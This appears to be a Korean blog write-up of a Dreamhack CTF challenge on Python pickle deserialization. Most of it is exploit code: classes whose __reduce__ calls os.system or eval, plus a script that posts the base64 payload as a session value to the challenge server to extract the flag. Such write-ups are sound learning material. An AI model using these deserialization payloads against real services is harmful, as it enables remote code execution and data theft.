import pickle
import os
import base64
class TestClass:
def __reduce__(self):
return os.system, ("read flag.txt", )
ClassA = TestClass()
# ClassA 직렬화
ClassA_dump = base64.b64encode(pickle.dumps(ClassA))
print(ClassA_dump)
# 역직렬화
print(pickle.loads(base64.b64decode(ClassA_dump)))
확실하지는 않지만 "read flag.txt" 쪽 내용을 잘 바꿔주면
원하는 flag를 얻을 수 있는 것으로 추정된다 근거는 다음의 2가지이다
1 web상에서도 된다 (rce가 필요 없다)
2 이 내용 자체가 핵심이 맞다
->이 두가지는 모두 타당한 추리였다
import os
import pickle
import base64
class Exploit:
def __reduce__(self):
return (os.system, ('echo FLAG', ))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
3 변수는 FLAG이다
->이 내용도 역시 맞았다
결과적으로 보았을 때 중요한 건 데이터 형식을 얼마나 더
디테일하게 기입해주느냐 였다
import os
import pickle
import base64
class Exploit:
def __reduce__(self):
cmd = "base64.b64encode(pickle.dumps(FLAG))"
return (__builtins__.eval, (cmd,))
payload = base64.b64encode(pickle.dumps(Exploit()))
print(payload)
///////////////////////////////////////////////////////////////
import os, pickle
import base64
class data():
def _reduce_(self):
return (os.system, ('whoami', ))
a = pickle.dumps(data())
pickle.loads(a)
///////////////////////////////////FLAG///////////////////////////////
import pickle
import base64
class Vuln(object):
def __reduce__(self):
return (eval,('{\"name\" : FLAG,\"userid\" : FLAG,\"password\" : FLAG}',))
print(base64.b64encode(pickle.dumps(Vuln())))
위의 방식이 아니라면
import base64
import pickle
import requests
class bindon:
def __reduce__(self):
info = '{ "name": FLAG, "userid": FLAG, "password": FLAG }'
return (eval, (info, ))
def main():
data = { "session": base64.b64encode(pickle.dumps(bindon())) }
response = requests.post(url="http://host1.dreamhack.games:(포트번호)/check_session", data=data)
flag = response.text
flag = flag[flag.find("DH{"):]
flag = flag[:flag.find("}")+1]
print(f"{flag = }")
if __name__ == "__main__":
main()
이런 식으로도 FLAG를 얻을 수 있다
'호그와트' 카테고리의 다른 글
드림핵 tmitter (0) | 2022.01.18 |
---|---|
드림핵 you shall pass (0) | 2022.01.18 |
드림핵 linux forest (0) | 2022.01.18 |
XSS와 CSRF의 차이점 (드림핵에서 누가 물어보길래) (0) | 2022.01.03 |
웹해킹 58번 문제 (0) | 2021.12.25 |